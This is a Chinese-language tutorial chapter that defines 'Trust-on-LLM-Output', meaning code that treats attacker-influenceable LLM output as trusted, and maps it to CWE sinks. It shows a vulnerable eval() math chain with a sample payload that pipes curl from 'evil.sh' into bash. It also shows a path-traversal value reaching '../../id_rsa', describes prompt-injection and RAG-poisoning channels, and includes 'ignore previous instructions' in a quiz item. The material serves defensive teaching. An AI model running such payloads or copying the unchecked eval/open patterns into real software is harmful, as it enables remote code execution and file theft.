背景与问题定位
这一章回答一个基础问题:为什么 Trust-on-LLM-Output(ToLO,信任 LLM 输出)值得单独讨论,而不是简单归入 prompt injection(提示注入)、OWASP LLM05 或某个已有 CWE?
如果一句话总结答案:因为现有概念都解释了链路的一段,没有一个解释”框架代码是否把 LLM 输出当成可信内部数据继续使用”。
这里的 LLM 指 large language model(大语言模型);sink 指安全分析中的敏感操作点,例如执行代码、访问文件、发起网络请求、执行数据库查询或渲染模板。ToLO 把焦点压在这一段:当 AIMessage.content、tool_call.arguments、parser 结果或 RAG metadata 进入执行、查询、反序列化、路径、URL、模板等 sink 时,风险已经从模型层转移到程序信任边界。
这一章给你什么
读完本章,你应当能回答:
- ToLO 为什么是”信任模型失效”(trust model failure),而不是单一具体漏洞或新的 sink 类型。
- ToLO 的研究创新点为什么压在 source 端(数据入口),而不是 sink 端(危险操作)。
- 为什么 prompt injection 防得再好,也不能自动解决 ToLO。
- ToLO 与 OWASP LLM Top 10 / 传统 CWE / Prompt Injection / MITRE ATLAS / model-security 工作各自在什么抽象层级。
如果你已经能区分这些,可以直接跳到 LLM Framework Basics。
这一章假设你知道什么
只要两件事。
第一,LLM 应用通常不是”用户问,模型答”这么简单。很多应用会把模型输出继续交给工具、数据库、文件系统或 workflow。比如模型输出 "read_file",agent 就调用读文件工具;模型输出 SQL,应用就查询数据库。这种”输出 → 程序动作”的转换是 ToLO 的舞台。
第二,安全分析里经常区分”数据从哪里来”和”数据去哪里”。从外部来的数据通常不可信;去往执行、数据库、网络、文件系统的数据通常敏感。ToLO 就发生在这两者之间:外部可影响的 LLM 输出,被误当成内部可信数据。
如果上面两条不熟,先读 先修知识 §1-§5。
本章术语速记
后续页面会反复使用三组符号。先把它们放在这里,避免把 ToLO 误读成”又一个 prompt injection 名字”。
| 符号 | 第一次读法 | 在 ToLO 中表示什么 |
|---|---|---|
S_LLM | LLM-related source family | 由 LLM 产生、经 LLM 框架包装,或在 LLM 应用链路中被攻击者影响的数据入口。它包括 S_LLM^{direct}、S_LLM^{framework}、S_LLM^{parsed}、S_LLM^{structured}、S_LLM^{rag} 五个子集。 |
C1-C5 | attacker influence channels | 攻击者影响 S_LLM 的五类通道:直接提示、间接提示、RAG 索引投毒、工具响应控制、模型供应链污染。ToLO 不依赖某一种通道成立。 |
C_SAFE | ToLO-aware sanitizer family | 能在 LLM 输出进入 sink 前真正收窄语义的防护集合:schema、allowlist、parameterized、safe-codec、capability。普通 JSON parser 或裸 str schema 不自动算安全。 |
最小判定式是:
S_LLM 中的值 ──► 危险 sink 中间缺少与该 sink 类型匹配的 C_SAFE = ToLOToLO 在概念地图上的位置
整个 LLM 应用安全的概念有不同抽象层级。下图把它们叠在一条数据流上,每个概念解释链路的一段:
各层在解释什么:
- Prompt injection 解释”攻击者怎样影响 LLM 输出”(链路最左段)。
- Model security / safety / alignment 解释”模型为什么会被诱导、污染或输出不符合策略的内容”(模型节点及其供应链)。
- OWASP LLM Top 10 列出行业关注的所有风险类别,是清单不是技术(横跨整链)。
- MITRE ATLAS 对照 ATT&CK 列出 AI 系统攻击战术,告诉你”攻击者能做什么”(纵向描述能力)。
- 传统 CWE(CWE-78, CWE-89, CWE-94, CWE-502, CWE-22, CWE-918, …)分类 sink 端的危险操作(链路最右段)。
- ToLO 解释中间这一段:框架是否把 LLM 输出当成可信内部数据使用。
ToLO 不替代上述任何一个,而是补充它们之间缺失的那一格。
一句话定义
ToLO = 开发者把”攻击者可影响的 LLM 输出”错误地纳入可信内部数据域,以致下游 sink 既有的防御都不会被触发。
它不是一个具体漏洞,而是一种信任归属错误(misplaced trust)。当这种错误与不同 sink 结合后,分化为反序列化注入、命令注入、SQL 注入、SSRF、路径穿越、模板注入等具体 CWE 实例。
本站把这些分化记作:ToLO-{Deser, Exec, Shell, SQL, Path, SSRF, Template},共 7 个教学子类:
| 子类 | sink 端含义 | 常见 CWE 对应关系 |
|---|---|---|
ToLO-Deser | LLM 输出进入不安全反序列化 | CWE-502 |
ToLO-Exec | LLM 输出作为代码字符串进入 eval / exec 等执行点 | CWE-94 |
ToLO-Shell | LLM 输出拼入 shell 命令或 shell=True 调用 | CWE-78 |
ToLO-SQL | LLM 输出生成或拼接数据库查询 | CWE-89 |
ToLO-Path | LLM 输出作为文件路径读写 | CWE-22 |
ToLO-SSRF | LLM 输出作为 URL 触发服务端请求 | CWE-918 |
ToLO-Template | LLM 输出作为模板或模板上下文被渲染 | CWE-1336 |
这个表的重点不是”发明七个新 sink”。sink 端仍然是旧 CWE;ToLO 命名的是它们共享的 source 端信任模型失效。
为什么值得一个名字
给一个现象命名,只有在它改变工程判断时才有意义。ToLO 值得命名,因为它同时满足四个条件:
| 条件 | 如果没有 ToLO 这个名字会怎样 |
|---|---|
| 同一根因跨 sink 重复出现 | eval、SQL、路径、URL、模板会被分别讨论,看不出都是”LLM 输出被信任”。 |
| source 端不在传统工具默认模型里 | SAST 工具会继续追 HTTP 参数,却漏掉 AIMessage.content、tool_call.arguments、structured output 字段。 |
| 修复方向不同于经典注入 | 经典 SQLi 可参数化;但 text-to-SQL 场景中整条 SQL 都可能由 LLM 生成,更需要 schema/RBAC/capability gate。 |
| 它独立于 prompt injection 成功率 | 即使直接提示注入被缓解,RAG 投毒、工具返回值、模型供应链仍可能让 S_LLM 被攻击者影响。 |
因此 ToLO 不是命名癖好,而是把”该把什么当 untrusted source”这件事重新放回程序安全模型里。
最小例子:从无害问题到 RCE
抽象描述听起来可能像理论,这里给一段最具体的代码,让你看到”信任模型失效”长什么样:
# 一个数学问答 chain 的简化骨架from openai import OpenAIclient = OpenAI()
def answer_math(question: str) -> str: # 让模型生成一段 Python 表达式 response = client.chat.completions.create( model="gpt-4o-mini", messages=[ {"role": "system", "content": "你是数学助手,请给出一段计算用的 Python 表达式。"}, {"role": "user", "content": question}, ], ) expr = response.choices[0].message.content # source: S_LLM^{direct} value = eval(expr) # sink: ToLO-Exec return f"答案是 {value}"这就是真实 CVE 级别问题的最小骨架(对应 CVE-2023-29374 LangChain LLMMathChain)。
如果用户问 "1+1",模型输出 "1+1",eval("1+1") == 2,看起来工作正常。
如果用户(或被诱导的 RAG 文档)让模型输出一段带副作用的 Python 表达式 —— 例如 __import__('os').system('curl evil.sh | bash'),模型可能照办,eval(...) 真的按应用进程权限执行。
传统 SQL injection 里,危险数据通常直接来自 HTTP 参数。ToLO 里,危险数据先经过模型,看起来像”系统生成的代码”。如果开发者因为它来自模型就信任它,问题就发生了。
这不是说”LLM 一定会输出恶意代码”。ToLO 只说:一旦攻击者能影响 LLM 输出,应用不应该把输出当成可信代码执行。
与”看起来很像”的概念对比
| 你以为是 | 实际差别 | 看后续哪一节 |
|---|---|---|
| Prompt injection | PI 是攻击者影响输出的手段;ToLO 是输出被程序错误信任后的后果链。即使 PI 防得再好,RAG 投毒、工具响应控制、模型供应链污染仍可触发 ToLO。 | Differentiation §与 Prompt Injection |
| 旧 CWE 换名字 | sink 端确实是旧 CWE;ToLO 的重点是新的 source class 和信任边界。 | Differentiation §与经典污点 |
| OWASP LLM05 | LLM05 是行业风险类别,回答”是否需要关心”;ToLO 是程序级形式化,回答”为什么会失守、如何检测、如何修复”。 | Differentiation §与 OWASP LLM05 |
| 模型安全 / 对齐问题 | Model-security 工作研究模型如何被攻击、污染、越狱或如何输出更安全内容;ToLO 假设输出已经可被影响,研究应用代码是否仍把它当可信内部值。 | Differentiation §与 Model Security |
| 用 Pydantic 就安全了 | Schema 只保证形状,不保证内容。自由字符串字段仍可携带 SQL / 路径 / shell payload。 | Defensive Patterns |
| 给 LLM 输出加个 JSON parser 就行 | parser 改变表示形式不等于清洗内容。json.loads(msg.content)["path"] 仍然受 LLM 影响。 | 先修 §4 |
本章三个常见误解(展开版)
误解 1:“ToLO 就是 prompt injection。”
不是。PI 研究如何让 LLM 输出违背预期;ToLO 研究框架代码如何处理已经偏离预期的输出。
具体差别:
- PI 的修复手段:指令隔离、prompt 分隔符、模型对齐、内容过滤。
- ToLO 的修复手段:schema、allowlist、参数化调用、安全解码器、能力门控、沙箱。
两者正交但相关:共同前提是”LLM 输出对攻击者可影响”,但分工不同。一个完美的 PI 防御不能保证 ToLO 不发生 —— 因为还有 RAG 投毒、工具响应控制、模型供应链污染等通道。
误解 2:“用了 JSON schema / Pydantic 就安全。”
不一定。Schema 能保证字段存在、类型正确,但如果字段是自由字符串,仍然可以装下 SQL、路径或 shell 参数。
举例:
class ToolCall(BaseModel): name: str path: str # ← 自由字符串,可以是 "../outside-workspace.txt" 或 "../../id_rsa"
# 模型输出经 schema 验证后:call = ToolCall(name="read_file", path="../../id_rsa")open(call.path).read() # ToLO-Path 仍发生C_SAFE^{schema} 在 ToLO 防御里只算其中一类,且只对”形状越界”型问题有效。
误解 3:“这是旧 CWE 换名字。”
sink 端确实是旧 CWE。eval 危险了几十年,SQL injection 也是。ToLO 的新意不在 sink,而在 source:把 LLM 推理 API 返回字段形式化为一个新的 untrusted source family。
类比:HTTP 参数被识别为 source 已经 30 年。LLM 输出被识别为 source 的时间还很短。当前多数默认 SAST 规则或常见配置里,AIMessage.content、tool_call.arguments 通常还不是 source。补这一格,就是 ToLO 研究的工程价值。
自测题
下面哪条更像 ToLO?
- A. 模型在聊天窗口里回答了错误事实。
- B. 模型输出一个文件路径,应用直接按该路径读取服务器文件。
- C. 用户在网页表单里直接提交 SQL,后端拼接执行。
- D. 用户在 prompt 里塞 “ignore previous instructions”,成功让模型输出了脏话。
答案是 B。
- A 只是内容质量 / safety alignment 问题。
- C 是传统 SQL injection,source 是 HTTP 参数,与 ToLO 无关。
- D 是 prompt injection 本身,只是攻击者影响了输出,还没看后果。
- B 的关键是 LLM 输出被当成可信内部路径使用,是典型 ToLO-Path。
如果选不对,回到 §“ToLO 在概念地图上的位置” 再读一遍。
阅读路线
本章两个细节页:
- Why ToLO Matters — 建立研究对象。ToLO 为什么是 source-anchored,为什么值得单独命名,工程上有哪些可重复的特征。
- ToLO 与已有概念边界 — 把 ToLO 放到 OWASP、PI、经典 CWE、Insecure Deserialization 的关系图中,精确划界。
读完后,进入第 02 章看 LLM 输出在框架里经过哪些组件、哪些转换点最容易跨过信任边界。
下一步阅读
- Why ToLO Matters:研究对象与可教学特征。
- ToLO 与已有概念边界:精确划界。
- 跳到 LLM Application Stack:看 LLM 输出在框架里会经过哪些组件。